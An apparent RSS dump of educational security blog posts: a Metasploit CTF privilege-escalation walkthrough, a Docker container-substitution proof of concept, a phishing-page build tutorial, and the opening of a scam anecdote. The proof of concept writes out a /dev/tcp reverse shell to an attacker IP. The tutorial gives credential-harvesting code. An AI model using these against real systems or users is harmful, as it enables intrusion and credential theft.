exploit/windows/http/apache_tika_jp2_jscript</pre><p>However, if we look to the options of the exploit, we have to tune several parameters:</p><ul><li><em>RPORT</em>: we are using custom port 61777</li><li><em>LHOST</em>: IP of listener. Normally, it has to be our IP.</li></ul><p>I configured corresponding settings using <em>set</em> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mewm0RNPBlpoUxTaqCa2AQ.png" /></figure><p>Let’s exploit using <em>run</em> command and get the first shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*smdJD-sNaZov-_w39HXfmQ.png" /></figure><p>As it usually happens in CTFs, the flag is in the Desktop directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*1max4PAoolwdIM4hJyEzvw.png" /></figure><h4>Privilege Escalation</h4><p>Of course, this is not enough for us, and we need the root (administrator) flag. Let’s keep our machine hacked by putting it in the background using the <em>background</em> command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*Pw0yqVRhjtc0wARcdypksg.png" /></figure><p>… and look for something like Windows Privilege Escalation Awesome Scripts (WinPEAS). But again, no need to download anything since this kind of scripts are also available by default as <em>Exploit Suggester</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*_ulM3208MstW6k6DTnRShA.png" /></figure><p>Let’s activate it using use command and look for the options.</p><pre>use post/multi/recon/local_exploit_suggester</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*4UvNVdjBgKPspfoYVfJCrA.png" /></figure><p>We need only to setup a session using <em>set</em> command and we can <em>run</em> it.</p><p>And as we can see, it runs check against multiple exploits with detection of 5 possible variants for our victim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9a6XY1wMkJyQG9Npyd7FQ.png" /></figure><p>As we are lazy, let’s select the first provided:</p><pre>use exploit/windows/local/always_install_elevated </pre><p>That is the vulnerability for a regular user to install <em>MSI</em> files with high privileges. <a href="https://dmcxblue.gitbook.io/red-team-notes/privesc/unquoted-service-path">More info</a>. Again, we need to setup <em>SESSION</em> and <em>LHOST</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*idTWVCEciM3VPDZ_RG1thg.png" /></figure><p>Let’s run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*eB8bFg1n_ioXZm-G2VdoJA.png" /></figure><p>And we get the most powerful account in this system. As powerful, so we can enter Administrator’s Desktop folder and grab the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*-ecXGKlwKRjy0_Ejf_igbQ.png" /></figure><p>Hacked.</p><h3>Conclusion</h3><h4>Metasploit is a powerful tool</h4><p>It is not just a tool — it is a framework that has everything you need for your legal red team exercises.</p><h4>Never ever</h4><p>… use outdated components. That can really cause reverse shells in your real systems. Also, do not forget to manage user permissions to avoid any kind of privilege escalation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8a116353a67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Software Supply Chain Attacks: How a Container Can Be Substituted]]></title>
            <link>https://rtolstosheyev.medium.com/software-supply-chain-attacks-how-a-container-can-be-substituted-8130303d5d7b?source=rss-28460bb11a7d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8130303d5d7b</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[supply-chain-attack]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Roman Tolstosheyev]]></dc:creator>
            <pubDate>Tue, 02 Apr 2024 06:43:13 GMT</pubDate>
            <atom:updated>2024-04-02T06:56:12.844Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*hDR8sJ_smDoaUC01Pcdqcg.png" /></figure><p><strong><em>This article is intended solely for educational purposes, aiming to raise awareness about cyber security and hacking techniques. It does not endorse or encourage any form of illegal activity. The scenarios and methods described are for informational use only and should not be misused; any illegal activities should be reported to the appropriate authorities.</em></strong></p><p>Recently, news about yet another Supply Chain Attack has come from everywhere. This is a strong sign of the necessity for materials related to Application Security Awareness concerning the Software Supply Chain and attacks based on it. So, welcome to one such resource.</p><h3>Software Supply Chain</h3><p>As is naturally understandable, any software goes through different stages, starting from the source code until it reaches the end user. All data and layers used in the process represent a sequence of chains containing data about each component and process used in the software from the point of its inception to the end user. This data includes information about:</p><ul><li>Source code and its authors</li><li>Dependencies</li><li>Used tools</li><li>Container information</li><li>Deployment configuration</li></ul><p>…and more.</p><h3>Software Supply Chain Attacks</h3><p>Like any phenomenon of the Digital Reality, the Software Supply Chain becomes a target for attackers. From the perspective of a developer, we mainly deal with:</p><ul><li>Unauthorized Modifications in Code</li><li>Libraries and Components Substitution (Dependency Confusion)</li><li>Poisoned Pipeline Execution</li><li>Malicious Image Replacement / Image Poisoning</li><li>Registry Poisoning</li></ul><p>…so on.</p><h3>Docker Container Substitution</h3><p>One common practice in Supply Chain Attacks is to replace an original container in the container registry with a container that has a backdoor or malicious code. Afterwards, the malicious container is handled as if it were the original, and during the execution of the target container in a standard environment, the attack occurs.</p><p>Here is the scenario:</p><ol><li>We have some Docker Registry with our Super-App.​</li><li>Of course, we are using <em>latest</em> (or :<em>1.1.1</em>)-like tags.​</li><li>Somebody got access to out registry with privileges to <em>PUSH</em>.​</li><li>This person (hacker) pushed an image with some malicious commands inside container or like <em>entrypoint</em> (e.g.: <em>netcat</em>) with tag <em>:latest</em>.​</li><li>A developer run its Docker Compose or K8s cluster with “new” version of Super-App with tag<em> :latest</em>.​</li><li>Hacked</li></ol><h3>Proof of Concept</h3><p>To illustrate the scenario you’re describing, let’s detail a simplified example:</p><blockquote>Imagine you have a production server hosting an application, and a hacker aims to compromise this server, causing it to malfunction.</blockquote><p>The source code is available on a GitHub repository: <a href="https://github.com/IZOBRETATEL777/Supply-Chain-Attack-PoC">https://github.com/IZOBRETATEL777/Supply-Chain-Attack-PoC</a></p><h4>Victim’s Perspective</h4><p>We have a very simple Docker container that runs a NGINX server basic HTTP configuration:</p><p><em>Dockerfile</em></p><pre>FROM nginx:latest<br>EXPOSE 80</pre><p><em>nginx.cfg </em>(in <em>website/ </em>folder)</p><pre>http {<br>    server {<br>        listen 80;<br>        server_name prod_server;<br><br>        location / {<br>            root /usr/share/nginx/html;<br>        }<br>    }<br>}<br><br>events {<br><br>}</pre><p><em>index.html</em> (in <em>website/ </em>folder)</p><pre>&lt;h1&gt;Super App&lt;/h1&gt;<br>&lt;h2&gt;Production Server&lt;/h2&gt;</pre><p>To achieve the goal of running an NGINX server as a web server with minimal configurations and launching a simple HTML page, while also automating the Docker image build process through a Continuous Integration (CI) pipeline, you can follow these steps. This setup includes building a Docker image, pushing it to a container registry (in this case, the GitHub Container Registry associated with the current repository), and tagging the newest version with “latest”.</p><p>Head of the CI pipeline (<em>.github/workflows/main.yml</em>):</p><pre>name: Build and Push Docker image<br><br>on:<br>  push:<br>    branches:<br>      - master</pre><p>The building and pushing part:</p><pre>      - name: Build and Publish Image<br>        uses: docker/build-push-action@v5.1.0<br>        with:<br>          context: .<br>          file: ./Dockerfile<br>          push: true<br>          tags: ${{ steps.meta.outputs.tags }}<br>          labels: ${{ steps.meta.outputs.labels }}</pre><p>To automate the deployment process using Docker Compose, which ensures that the necessary actions such as mounting files and directories are taken care of, and to always use the latest image from the repository, you’ll need to create a docker-compose.yml file. This file will define how your Docker container should be run, including specifying that the latest version of the image should always be used.</p><pre>version: &#39;3.8&#39;<br>services:<br>  nginx:<br>    image: ghcr.io/izobretatel777/supply-chain-attack-poc:latest<br>    pull_policy: always<br>    container_name: super-app<br>    ports:<br>      - &quot;80:80&quot;<br>    volumes:<br>      - ./website:/usr/share/nginx/html<br>      - ./website/nginx.conf:/etc/nginx/nginx.conf<br>    restart: unless-stopped</pre><p>Creating a realistic production server instance in the cloud involves several steps, typically including selecting a service provider, configuring the server, and deploying your application. For the purpose of this example, we’ll discuss how to set up a simple Hetzner VPS (Virtual Private Server) with a public (white) IP address, though the process can be similar with other cloud providers like AWS, Google Cloud, or Azure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-B5209befV-KGjL_KwuGw.png" /></figure><p>Public IP is <em>78.46.199.62</em>.</p><p>Then, we can connect using SSH and run:</p><pre>ssh root@78.46.199.62</pre><p>…and install all necessary for Docker deployment: Docker Engine and Docker Compose:</p><pre>apt update<br>apt install docker docker-compose --y</pre><p>Let’s do small hardening and create an ordinal user:</p><pre>adduser sauser - gecos GECOS</pre><p><em>— gecos GECOS</em> is used to skip questions like real name or email address.</p><p>Let’s grant the usage of <em>sudo</em> by adding to sudoers group:</p><pre>adduser sauser sudo</pre><p>then, switch to it</p><pre>su - sauser</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*K-4ydwxZhliS1t21JGp-og.png" /></figure><p>Also, for more comfort, to run Docker from a non-root environment as it is mentioned in the official documentation (<a href="https://docs.docker.com/engine/install/linux-postinstall/">https://docs.docker.com/engine/install/linux-postinstall/</a>) to add current user non-root user to the <em>sudoers:</em></p><pre>usermod -aG docker $USER</pre><p>It is recommended to reboot the server.<br>Now, we can clone the repository:</p><pre> <br>git clone https://github.com/IZOBRETATEL777/Supply-Chain-Attack-PoC.git</pre><p>…and delpoy the webserver:</p><pre> <br>cd Supply-Chain-Attack-PoC <br>docker-compose up </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*45NehDHBW4PJvsymW53FFw.png" /></figure><p>Server is running correctly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*-12Slm1HRnEPb-O_obfIgg.png" /></figure><h4>Attacker’s Perspective</h4><p>Let’s switch to an attacker’s perspective. For other security professionals: I will try to follow classic Cyber Kill Chain Model. The Cyber Kill Chain model, developed by Lockheed Martin, outlines the stages of a cyber attack from the early reconnaissance stages to the final data exfiltration or system compromise.</p><p>We can try to imagine that the attacker somehow could made a <strong>reconnaissance </strong>analyze the source code of the Super Application. It can be related to the data breach in the company or unauthorized access by the attacker to the version control servers.</p><p>The idea is to run a poisoned (substituted) container on the production server to take control over it Setting up a Command and Control (C2) server is a common tactic in cyber attacks. This server acts as a central point to control malware or compromised systems (like the poisoned container in the production environment) and gather data from them. Again, we can user Hetzner or any other cloud provider.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zOnFb3a_lGguJe9gUYAdcw.png" /></figure><p>Now, we have a static <em>IP: 49.12.194.176</em>. Let’s connect to the server and run <em>Netcat</em> listener on port <em>1234</em></p><pre>ssh root@49.12.194.176</pre><p>… and inside:</p><pre>nc -nlvp 1234 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*5BHzXl72jdzQO9btQbYISw.png" /></figure><p>Right now, we can start to think about how we can run the reverse shell or what will run it (<strong>weaponization</strong>). Our payload will be a malicious Dockerfile that will start the reverse shell. Using a Reverse Shell Generator, like the one available at <a href="https://www.revshells.com/">https://www.revshells.com/</a>, allows you to create a command that, when executed, opens a reverse shell from the compromised system to the attacker’s command and control (C2) server. This enables the attacker to execute commands on the compromised system remotely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRGVKa69Nvx6g5YN8zPxAA.png" /></figure><pre>sh -i &gt;&amp; /dev/tcp/49.12.194.176S/1234 0&gt;&amp;1 </pre><p>Then, I simply create a Dockerfile that executes this command. We just need to install necessary dependencies such as netcat and bash. Then, put the command to the entrypoint of the container, so when it starts, the revershell starts as well. For all these activities, I used Ubuntu image with non-interactive shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*MMJ2qEL-AYgyMHk35Nkeag.png" /></figure><p><strong>Delivering</strong> malicious code to a victim’s repository often involves exploiting human factors, such as a compromised developer account or unreviewed pull requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*9CB7GxflXPWvE6sSubYTOw.png" /></figure><h4>The Attack</h4><p>Next, let’s assume that it is time to deploy or redeploy the application. It can be related to a new customer wanting a fresh instance or just an update of the current installation.</p><p>We in our production server we are doing:</p><pre>docker-compose down <br>docker-compose pull <br>docker-compose up </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*6BDfmCJYE3HxtHvBYZ2BSA.png" /></figure><p>… and in our Command and Control (attacker’s) machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*hU6TzHElrSYIBM521YJ_fw.png" /></figure><p><strong>Installation</strong> is finished. Now, the attacker fully controls and <strong>persists</strong> in the docker container, including its mounted locations from the host machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*le0FzKAFr1W0zsD-mtkwSg.png" /></figure><p>Since the container user is root, we can do commands like chmod on files of different users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*-qc5wKS-6VSuk34yXV5qtw.png" /></figure><p>And the attacker <strong>objective</strong> is achieved.</p><h3>Vulnerability Chain</h3><p>A sequence of issues with access and application configuration created a chain of vulnerabilities:</p><p><strong>Not reviewed code was pushed Code with reverse shell was overlooked and pushed directly to the </strong><strong>master branch. </strong>CI pipeline blindly pushes to the container registry with the latest tag The pipeline configured without any security testing tools or scripts. It pushes the container to the only registry with the latest tag.</p><p><strong>Docker Compose file blindly pulls a container with the </strong><strong>latest tag.</strong> The actual vulnerability persisted in the Docker Compose file before the attack. Pulling by any version tag is not recommended in the production environment.</p><p><strong>Attacker gets persistence in the production server.</strong> With the reverse shell using <em>Netcat</em> in the container, the attacker can get access to the production server and maintain persistence. No monitoring solutions were set up to detect the malicious activity.</p><p><strong>Attacker gets root access The Docker container runs as root in the root Docker context of the production server.</strong> Mounted by the Docker compose volumes are also accessible by the attacker.</p><h3>Remediation</h3><p>As any problem, the issue of Container Substitution has it own remediation plan to avoid the same in the future:</p><p><strong>Least Privilege principle for users (developers)</strong> — grant each user with minimal possible privileges. E.g.: do not allow pushes to the <em>master</em> branch directly.</p><p><strong>Trusted source of dependencies or containers</strong> — use only trusted sources such as official Docker registries or own artifactories/registries.</p><p><strong>Security Monitoring and CI/CD Pipeline Security Posture</strong>​ — always monitor status and load of deployed instantiates including pipeline runners and configurations.</p><p><strong>Follow best practices + automated scanning</strong>​ — try to stick to the best practices such usage of digests instead of hashes or non-root user container execution. Automation scanning tools such as SAST or IaC Security solutions can be helpful.</p><h3>Conclusion</h3><p>Sometimes, it is really important to control every detail of your product withing entire lifecycle. Otherwise, somebody else will do it instead of you. And Supply Chain Attacks is a great example of that fact.</p><p>Stay cyber safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8130303d5d7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Social Engineering: Going On The Attack]]></title>
            <link>https://rtolstosheyev.medium.com/social-engineering-going-on-the-attack-b034d2924e6f?source=rss-28460bb11a7d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b034d2924e6f</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[research-project]]></category>
            <dc:creator><![CDATA[Roman Tolstosheyev]]></dc:creator>
            <pubDate>Sun, 21 Jan 2024 18:59:23 GMT</pubDate>
            <atom:updated>2024-01-21T19:28:34.044Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>This article is intended solely for educational purposes, aiming to raise awareness about cybersecurity and social engineering tactics. It does not endorse or encourage any form of illegal activity. The scenarios and methods described are for informational use only and should not be misused; any illegal activities should be reported to the appropriate authorities.</em></strong></p><p>Following the investigation in my <a href="https://rtolstosheyev.medium.com/social-engineering-sell-me-this-pen-1be30c748943">previous article</a>, I will attempt to recreate a phishing page for educational purposes. This endeavor won’t be as sophisticated as the example discussed earlier, and I won’t delve into complexities like integrating payment systems (e.g., Stripe). However, the project has educational merit.</p><h4>Idea</h4><p>Talking about the pattern discussed previously, we need an environment that appears safe and familiar to users. For this, I will use a simulated version of the Facebook login page, a globally popular social network. We’ll call this simulation ‘Fakebook.’ The premise is simple: a user is led to re-enter their credentials because their browser has seemingly forgotten them. This common occurrence makes the scenario plausible without causing undue alarm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OzbvNSh-jMKS2x9QG4zFSA.png" /></figure><p>Ok, that’s good, we know the desired state of the webpage that we need to craft. What to do next? We need to plan how the credentials will be delivered to us (hackers). For that, we can just blindly send all the data from the login form to our database on the backend. As a stub, the user will see the error page with the login error screen.</p><h4>Programming</h4><p>To bring this educational concept to life through programming, I’ll use JavaScript and the Express framework, which offer a straightforward approach to crafting a basic full-stack web application simulation. For our database engine, MySQL could be used, or even a simple text file for demonstration (cue the jokes about using Excel as a database). Let’s delve into the code structure for this educational project.</p><p>At the beginning, our structure will look like this:</p><pre>├── app.js - appserver with whole business logic  <br>└── views  <br>   └── index.ejs - crafted login page </pre><p>Node packages we need:</p><pre>const express = require(&#39;express&#39;); // Express web server framework <br>const mysql = require(&#39;mysql2&#39;); // MySQL database client <br>const bodyParser = require(&#39;body-parser&#39;); // Node.js body parsing middleware</pre><p>To simulate the login page, one approach is to study the structure of an existing page. For instance, examining the source code of <a href="https://www.facebook.com/login">https://www.facebook.com/login</a> (which can be accessed in Google Chrome by pressing CTRL+U or right-click -&gt; View Page Source) can provide insights. Remember, this is purely for educational and preventative purposes and should not be replicated for malicious intent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxME0GNs_6mI28fsEg5N-A.png" /></figure><p>CTRL+C, CTRL+V, and our index.ejs file for this educational simulation is nearly set.</p><p>Now, let’s initialize our Express application:</p><pre>const app = express(); <br>app.set(&#39;view engine&#39;, &#39;ejs&#39;);<br>app.use(bodyParser.urlencoded({ extended: false }));</pre><p>.. and we just need to specify required endpoint in our app.js:</p><pre>app.get(&#39;/&#39;, function (req, res) {<br>    res.render(&#39;index&#39;, { message: &#39;&#39;, result: [] });<br>});<br><br>app.listen(3000, function () {<br>    console.log(&#39;Listening on port 3000&#39;);<br>});</pre><p>Then, we need to test it. Just run our application and look for the behavior of the app… And we are done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4rMU2H5ygDWRKOfACupkPA.png" /></figure><p>The next step in our educational demonstration is to configure the ‘Log In’ button so that it sends a request to our server with the credentials entered.</p><p>In our index.ejs, we’ll locate the relevant line:</p><pre>&lt;form id=&quot;login_form&quot; <br>action=&quot;/login/device-based/regular/login/?login_attempt=1&amp;amp;lwv=100&quot; method=&quot;post&quot; &lt;form id=&quot;login_form&quot; <br>action=&quot;/login/device-based/regular/login/?login_attempt=1&amp;amp;lwv=100&quot; method=&quot;post&quot; .<br>...</pre><p>We’ll modify the action attribute to simply “/” and then add this endpoint to app.js to handle the request:</p><pre>app.post(&#39;/&#39;, function (req, res) {<br>    const password = req.body.pass;<br>    const email = req.body.email;<br>    const sql = &#39;INSERT INTO baited (email, password) VALUES (?, ?)&#39;;<br>    connection.query(sql, [email, password]);<br>    res.render(&#39;index&#39;, { message: &#39;Login Error!&#39;, result: [] });<br>});</pre><p>Also, we have to init the database tables:</p><pre>create database if not exists `hacker-db`;<br>use `hacker-db`<br><br>create table if not exists baited (<br>    email varchar(255),<br>    password varchar(255)<br>);</pre><p>To complete the experience and make our error login message appear, we can integrate message handling in index.ejs. For added realism in this demonstration, we might even use some standard stylesheets from the Facebook page:</p><pre>&lt;% if (message.length&gt; 1) { %&gt; <br><br>  &lt;div class=&quot;_9ay7&quot;&gt; <br><br>  &lt;%= message %&gt; <br><br>  &lt;/div&gt; <br><br>&lt;% } %&gt; </pre><p>Also, it would be better to remove all script-tags from the login page to prevent the password to be encrypted (<a href="https://stackoverflow.com/questions/76237873/how-to-encrypt-plain-text-facebook-password-into-the-encrypted-format-before-it">Stack Overflow question about this</a>).</p><p>By the way, I also used the easiest way to have a database — running it from a Docker container. Just install the Docker engine and run:</p><pre>docker run -d --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=12345678</pre><p>… your connectivity settings in app.js:</p><pre>const connection = mysql.createConnection({<br>    host: &#39;localhost&#39;,<br>    user: &#39;root&#39;,<br>    database: &#39;hacker-db&#39;,<br>    password: &#39;12345678&#39;,<br>    port: 3306<br>});</pre><p>Let’s test with some test@gmai.com as an email and 1234 as a password and we get our error message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*R512r2cuHlbxqwiyGxkW1A.png" /></figure><p>.. and the entry in DB (output is done by using mysql utility in the same container):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*cARzEuYX9CnwFvOxpzuKIA.png" /></figure><h4>Deployment</h4><p>Now that our login form simulation is ready, the next step in this educational process is deployment. Deploying it to a hosting service with a static IP address makes the simulation more realistic, as using something like <a href="http://localhost:3000/">http://localhost:3000</a> doesn’t quite have the same effect. However, it’s important to note that using an IP address directly isn’t as convincing as providing a URL that resembles Facebook’s, complete with HTTPS security (as illustrated in the real case from <a href="https://rtolstosheyev.medium.com/social-engineering-sell-me-this-pen-1be30c748943">my previous article</a>).</p><p>Considering hosting options, there are no specific limitations. You can choose any hosting provider or use your own resources, like a personal computer, if you have a static IP address from your ISP.</p><p>For this demonstration, I’m using a Virtual Dedicated Server (VDS) as my hosting. After moving my code to this virtual machine, it would be prudent to set up NGINX to run the application on port 80. This can be done by configuring the /etc/nginx/sites_available/fakebook.conf file.</p><pre>server {<br>        server_name fakebook;<br>        listen 80;<br>        location / {<br>                proxy_pass http://127.0.0.1:3000/;<br>        }<br>}</pre><p>When it comes to selecting a domain for our educational phishing simulation, we can utilize services like <a href="https://freedns.afraid.org/">FreeDNS</a> to illustrate how a convincing domain name might be chosen by attackers. For example, a name like fakebook.h4ck.me could be considered for this demonstration. This step is crucial in understanding how cybercriminals might create domain names that appear legitimate or similar to well-known sites, in order to deceive users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*gj0609h_L1ctTsuwmC6hpQ.png" /></figure><p>Now, let’s address a common myth in our educational demonstration: the belief that all websites with a “lock” icon in the address bar are secure and trustworthy. Through this demonstration, we’ll show how, thanks to services like Let’s Encrypt, SSL/TLS certificates, which contribute to the lock icon appearance, are accessible to everyone — including malicious actors.</p><p>First, we need to obtain certificates from Let’s Encrypt. Certbot is a useful tool for this, and there’s a user-friendly guide available on their <a href="https://certbot.eff.org/instructions">official website</a>. For the sake of transparency in this educational setup, I’ll generate the certificates using only the following command:</p><pre>sudo certbot certonly –nginx </pre><p>Following this, I’ll manually add the necessary configuration to my fakebook.conf:</p><pre>server { <br>        server_name fakebook; <br>        listen 443 ssl; <br>        ssl_certificate         /etc/letsencrypt/live/fakebook.h4ck.me/fullchain.pem; <br>        ssl_certificate_key     /etc/letsencrypt/live/fakebook.h4ck.me/privkey.pem; <br>        location / { <br>                proxy_pass http://127.0.0.1:3000/; <br>        } <br>}</pre><p>Voilà. We can bypass the simplest firewall rules and people’s mindsets. Our new link is <a href="https://fakebook.h4ck.me/">https://fakebook.h4ck.me/.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*ZM1amsx4lDnBJ6lrw9i4kA.png" /></figure><blockquote><strong>It is important to reiterate that this example, and the use of any such domain, is strictly for the purpose of this educational demonstration. Creating or using such domains for any real phishing or fraudulent activities is illegal and unethical. The intent here is to provide insight into the tactics used by cybercriminals, thereby enhancing awareness and the ability to recognize such threats in real-world scenarios.</strong></blockquote><h4>Conclusion</h4><p>As demonstrated, creating a basic phishing page is not overly complicated. However, it’s important to note that the example discussed is simplified and intended solely for learning purposes. It might be used in controlled environments like red teaming exercises within a company (very cheap ones), or for purely educational demonstrations, but its capabilities are limited.</p><p>For those interested in exploring more sophisticated methods, tools like <a href="https://github.com/htr-tech/zphisher">ZPhisher</a> can offer deeper insights. However, the quality and security setup of our example application is basic by design, as the aim was not to create a fully operational site. Enhancing security for such educational projects might be a topic for the future.</p><p>Through this demonstration, I wanted to emphasize two key points:</p><ul><li><strong>Skepticism is Crucial:</strong> Don’t automatically trust what you see online. Phishing web pages can be deceptively alluring, prompting you to enter sensitive information. Always check and think twice before doing so.</li><li><strong>The Power of Knowledge:</strong> Basic programming and system administration skills can open many doors in the cyber world. I urge you to use this knowledge responsibly and ethically. Choosing the dark side has serious consequences.</li></ul><p>The entire project, for educational use, is available on my GitHub:</p><p><a href="https://github.com/IZOBRETATEL777/Fakebook">https://github.com/IZOBRETATEL777/Fakebook</a></p><p>However, it’s important to remember that this demonstration is designed solely for educational purposes. It aims to provide insights into the methods used by attackers, thereby empowering users to better protect themselves. The knowledge gained here should be used to enhance cybersecurity awareness and practices, not for any unethical or illegal activities.</p><p>See you! Stay cyber safe!</p><p><em>P.S.: Excellent response of the cloud provider after several minutes I deployed the server. </em><strong><em>Therefore, do not repeat at home.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*NrQIFqyX-MBEVni-j3BZ4Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b034d2924e6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Social Engineering: Sell Me This Pen]]></title>
            <link>https://rtolstosheyev.medium.com/social-engineering-sell-me-this-pen-1be30c748943?source=rss-28460bb11a7d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1be30c748943</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[scam]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[online-selling]]></category>
            <dc:creator><![CDATA[Roman Tolstosheyev]]></dc:creator>
            <pubDate>Sun, 21 Jan 2024 18:52:14 GMT</pubDate>
            <atom:updated>2024-01-21T18:59:42.788Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>This article is intended solely for educational purposes, aiming to raise awareness about cybersecurity and social engineering tactics. It does not endorse or encourage any form of illegal activity. The scenarios and methods described are for informational use only and should not be misused; any illegal activities should be reported to the appropriate authorities.</em></strong></p><p>Hacking, hacking, hacking. We see this word everywhere, and it usually implies that someone became a victim of nefarious individuals lurking in dark holes, spending their entire lives in front of laptops with green characters on dark screens. Of course, people, especially those who are not tech-savvy, may imagine cybercriminals differently, influenced by movies and media. However, real-life cases often demonstrate that these stereotypical images are not always accurate. Surprisingly, some regular computer users might fit this description.</p><p>Statistics readily available on the Internet suggest that when it comes to hacking attacks, we are predominantly dealing with Social Engineering ones. The idea is to manipulate the feelings of a potential victim, mesmerize them with a crafted truth, and persuade them to take some action. In the realm of the Internet, computers, smartphones, and all things IT, this is often recognized as a subset of Social Engineering known as a Phishing Attack.</p><p>But before delving into the attacker’s perspective, as typically portrayed, let’s consider the experience of the victim. Fortunately, I have a personal example. A long time ago, I was attempting to sell some unused gadgets and posted advertisements on some popular Azerbaijani classified websites. My interaction with one potential customer went as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*FPCd9ULltqsfa4IQR45fWA.jpeg" /></figure><p><em>Translation of the Chat:</em></p><blockquote><em>— Alright, I’m okay with that. Can I use courier delivery? The courier will pick up the item and deliver it straight to me. You will receive the money on your card right now, as I don’t have the opportunity to pick it up myself.</em></blockquote><blockquote><em>— No, unfortunately.</em></blockquote><blockquote><em>— Why not? You will receive the money instantly; the courier will take the item from your home.</em></blockquote><blockquote><em>— Honestly, it seems suspicious to me.</em></blockquote><p>It was even more suspicious because I had read almost the same message from another person. The main difference was that the previous conversation was in Russian and from a Ukrainian phone number. This time, the attacker seemed a bit more prepared, communicating in Azerbaijani from an Azerbaijani phone number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*9ESjg_NKlme-RbLmDhchhg.jpeg" /></figure><blockquote><em>— The fact is that I cannot come to you personally, so I need you to arrange for courier delivery. I will transfer money to your bank card and provide you with the courier’s phone number. The courier will arrive at the scheduled time. I live in Khachmaz </em>[a city in the northern part of Azerbaijan]<em>, and courier delivery is the only option for me. I will arrange the courier…</em></blockquote><p>Alright, perhaps this unusual indentation style is just the buyer’s way of expressing himself. The picture attached to his message was supposedly a testament to a legitimate service provided by the local post office, “Azərpoçt” (Azerpost). However, I couldn’t find any information about this service on the official website, <a href="http://www.azerpost.az/">www.azerpost.az</a>. Perhaps it was published elsewhere; let’s ask about it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Ppjolijnncc-_pt_4CfcBg.jpeg" /></figure><blockquote><em>— … I’ve already provided your phone number to the courier; they will contact you. There’s just one thing. I’ve already paid for the delivery.</em></blockquote><blockquote><em>— Where did you get this picture?</em></blockquote><blockquote><em>— Follow the link to receive your money. After that, the courier will contact you.</em></blockquote><p>Quite ambitious, isn’t it? But one question still lingers in my mind: where was this picture taken from? Perhaps I’m outdated, but why wouldn’t he want to share the source of what seems to be one of the most utilized services of Azerpost, embraced by millions of Azerbaijanis? With this question, I turned to a conversation with Azerpost support on Facebook:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*EW5z_ACCE6osWQ1FT4hw0A.png" /></figure><blockquote><em>— </em>[screenshot of the chat]<em> … and they sent me this link: &lt;link&gt;. I suspect this might be a phishing attempt. Or could the person actually be telling the truth?</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*EQjwFQ69BOLgsNjdfl3ONQ.png" /></figure><blockquote><em>— Dear user, cyber criminals are sending fake links to the different lottery games related to the 